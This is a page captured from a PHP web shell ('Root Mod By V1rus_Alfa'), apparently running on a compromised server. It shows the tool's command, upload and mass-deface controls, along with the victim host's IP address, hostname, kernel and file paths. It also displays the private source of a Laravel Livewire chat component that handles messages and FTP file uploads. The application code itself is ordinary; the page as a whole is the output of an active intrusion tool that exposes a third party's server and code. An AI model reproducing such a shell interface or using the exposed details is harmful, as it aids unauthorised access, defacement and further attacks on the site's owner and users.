���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Livewire
/
Chat
/
Viewing: UserChatComponent.php
<?php namespace App\Livewire\Chat; use App\Models\Conversation; use App\Models\Message; use Illuminate\Support\Facades\Log; use Livewire\Attributes\Rule; use Livewire\Features\SupportFileUploads\TemporaryUploadedFile; use Masmerise\Toaster\Toastable; use Modules\File\Models\File; use Carbon\Carbon; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Storage; use Livewire\Component; use Livewire\WithFileUploads; use Livewire\Attributes\On; use Modules\File\Services\Uploader; use Modules\Project\Models\Order; class UserChatComponent extends Component { use WithFileUploads, Toastable; public $conversations; public $activeConversation = null; public $message = ''; #[Rule(['required', 'file'])] public $attachment; public $isRecording = false; public $searchQuery = ''; public $subject_id; public $selectedConversation; public $participant_name; protected $listeners = [ 'audioRecorded' => 'handleAudioRecording' ]; public function mount($subject_id, $selected_conversation) { $this->subject_id = $subject_id; $this->participant_name = Order::find($subject_id)->tenant?->title; $this->selectedConversation = $selected_conversation; $this->loadConversations(); } public function loadConversations() { $this->dispatch('set-messages-as-read'); $this->conversations = Conversation::whereHas('participants', function ($query) { $query->where('participant_id', auth('web')->id()) ->where('participant_type', auth('web')->user()::class); })->with('messages', 'participants.participant', 'lastMessage') ->latest() ->get(); } public function setActiveConversation($conversationId) { $conversation = Conversation::findOrFail($conversationId); return redirect()->route('tenants.chat-with-us', [ 'locale' => app()->getLocale(), 'order' => $conversation?->subject_id ] ); } public function sendTextMessage() { DB::beginTransaction(); try { if (empty($this->message)) { return; } $messageData = [ 'conversation_id' => $this->selectedConversation?->id, 'content' => $this->message, 'type' => Message::TYPE_TEXT, 'sender_type' => auth('web')->user()::class, 'sender_id' => auth('web')->id(), ]; Message::create($messageData); $this->message = ''; DB::commit(); $this->dispatch('messageAdded'); $this->dispatch('scroll-bottom'); } catch (\Throwable $th) { DB::rollBack(); throw $th; } } // public function updatedAttachment(TemporaryUploadedFile $file) // { // Log::info('File uploaded started', [ // 'filename' => $file->getClientOriginalName(), // 'size' => $file->getSize(), // 'mime' => $file->getMimeType(), // ]); // // DB::beginTransaction(); // // try { // // $this->validate(); // // $messageData = [ // 'conversation_id' => $this->selectedConversation?->id, // 'type' => Message::TYPE_FILE, // 'sender_type' => auth('web')->user()::class, // 'sender_id' => auth('web')->id(), // ]; // // $fileName = $file->getClientOriginalName(); // $filePath = 'messenger/conversations/' . $this->selectedConversation?->id . '/files/'; // $fileMimeType = $file->getMimeType(); // // Log::info('Attempting FTP upload', [ // 'path' => $filePath . $fileName, // ]); // // $storedPath = Storage::disk('ftp')->putFileAs($filePath, $file, $fileName); // // if (!$storedPath) { // throw new \Exception('مشکل در آپلود فایل در هاست دانلود!'); // } // // $file = File::create([ // 'name' => $fileName, // 'address' => $filePath, // 'type' => $fileMimeType, // 'is_private' => false, // 'size' => $file->getSize(), // 'host' => config('filesystems.disks.ftp.download_host'), // ]); // // $messageData['file_id'] = $file->id; // $messageData['type'] = $this->determineFileType($file->type); // // Message::create($messageData); // // $this->attachment = null; // //// DB::commit(); // $this->dispatch('messageAdded'); // $this->dispatch('scroll-bottom'); // // } catch (\Throwable $th) { // DB::rollBack(); // Log::error('File upload failed', [ // 'error' => $th->getMessage(), // 'trace' => $th->getTraceAsString(), // ]); // $this->error($th->getMessage()); // throw $th; // } // } public function updatedAttachment(TemporaryUploadedFile $file) { DB::beginTransaction(); try { $fileName = $file->getClientOriginalName(); $conversationPath = 'messenger/conversations/' . $this->selectedConversation->id . '/files/'; $fileMimeType = $file->getMimeType(); \Log::info('Starting file upload', [ 'filename' => $fileName, 'path' => $conversationPath, 'size' => $file->getSize(), 'mime' => $fileMimeType ]); $ftpDisk = Storage::disk('ftp'); // Ensure directory exists try { if (!$ftpDisk->exists($conversationPath)) { $ftpDisk->makeDirectory($conversationPath); \Log::info('Created directory', ['path' => $conversationPath]); } } catch (\Exception $e) { \Log::warning('Directory creation issue', ['error' => $e->getMessage()]); } // Try uploading with file contents (more reliable than putFileAs) $fullPath = $conversationPath . $fileName; $fileContents = file_get_contents($file->getRealPath()); \Log::info('Attempting FTP upload', [ 'full_path' => $fullPath, 'content_size' => strlen($fileContents) ]); $uploadSuccess = $ftpDisk->put($fullPath, $fileContents); if (!$uploadSuccess) { throw new \Exception('FTP upload returned false'); } // Verify file was uploaded if (!$ftpDisk->exists($fullPath)) { throw new \Exception('File not found on FTP after upload'); } \Log::info('File uploaded successfully to FTP', ['path' => $fullPath]); // Create file record $fileRecord = File::create([ 'name' => $fileName, 'address' => $conversationPath, // Store the full path 'type' => $fileMimeType, 'is_private' => false, 'size' => $file->getSize(), 'host' => config('filesystems.disks.ftp.download_host'), ]); // Create message $messageData = [ 'conversation_id' => $this->selectedConversation->id, 'type' => Message::TYPE_FILE, 'sender_type' => auth('web')->user()::class, 'sender_id' => auth('web')->id(), 'file_id' => $fileRecord->id, ]; $messageData['type'] = $this->determineFileType($fileRecord->type); Message::create($messageData); $this->reset('attachment'); DB::commit(); $this->dispatch('messageAdded'); $this->dispatch('scroll-bottom'); \Log::info('File upload completed successfully'); } catch (\Throwable $th) { DB::rollBack(); \Log::error('File upload failed', [ 'error' => $th->getMessage(), 'file' => $th->getFile(), 'line' => $th->getLine(), 'trace' => $th->getTraceAsString() ]); $this->addError('attachment', 'Failed to upload file: ' . $th->getMessage()); } } private function determineFileType($mimeType) { if (str_starts_with($mimeType, 'image/')) return 'image'; if (str_starts_with($mimeType, 'video/')) return 'video'; if (str_starts_with($mimeType, 'audio/')) return 'audio'; if (in_array($mimeType, ['application/zip', 'application/x-rar'])) return 'archive'; return 'document'; } #[On('messageAdded')] public function refreshMessages() { if ($this->selectedConversation) { $this->selectedConversation = Conversation::with(['messages.sender', 'participants.participant']) ->find($this->selectedConversation->id); } } public function render() { return view('livewire.chat.chat-component'); } #[On('set-messages-as-read')] public function setMessagesAsRead() { $this->selectedConversation->messages() ->where('is_read', false) ->where('read_at', null) ->where('sender_type', '<>', auth('web')->user()::class) ->where('sender_id', '<>', auth('web')->id()) ->each(function ($message) { $message->update([ 'is_read' => true, 'read_at' => Carbon::now()->format('Y-m-d H:i:s'), ]); }); } public function handleAudioRecording($base64Audio, Uploader $uploader) { $audioData = explode(',', $base64Audio); $mimeType = $audioData[0]; $base64Data = $audioData[1]; $audioContent = base64_decode($base64Data); $filePath = 'messenger/conversations/' . $this->selectedConversation?->id . '/files/'; $file = $uploader->upload( 'ftp', $audioContent, $filePath, $mimeType ); Message::create([ 'conversation_id' => $this->selectedConversation?->id, 'content' => null, 'type' => 'audio', 'file_id' => $file->id, 'sender_type' => auth('web')->user()::class, 'sender_id' => auth('web')->id(), ]); $this->dispatch('messageAdded'); $this->dispatch('scroll-bottom'); } public function toggleRecording() { $this->isRecording = !$this->isRecording; $this->dispatch('toggleRecording', isRecording: $this->isRecording); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa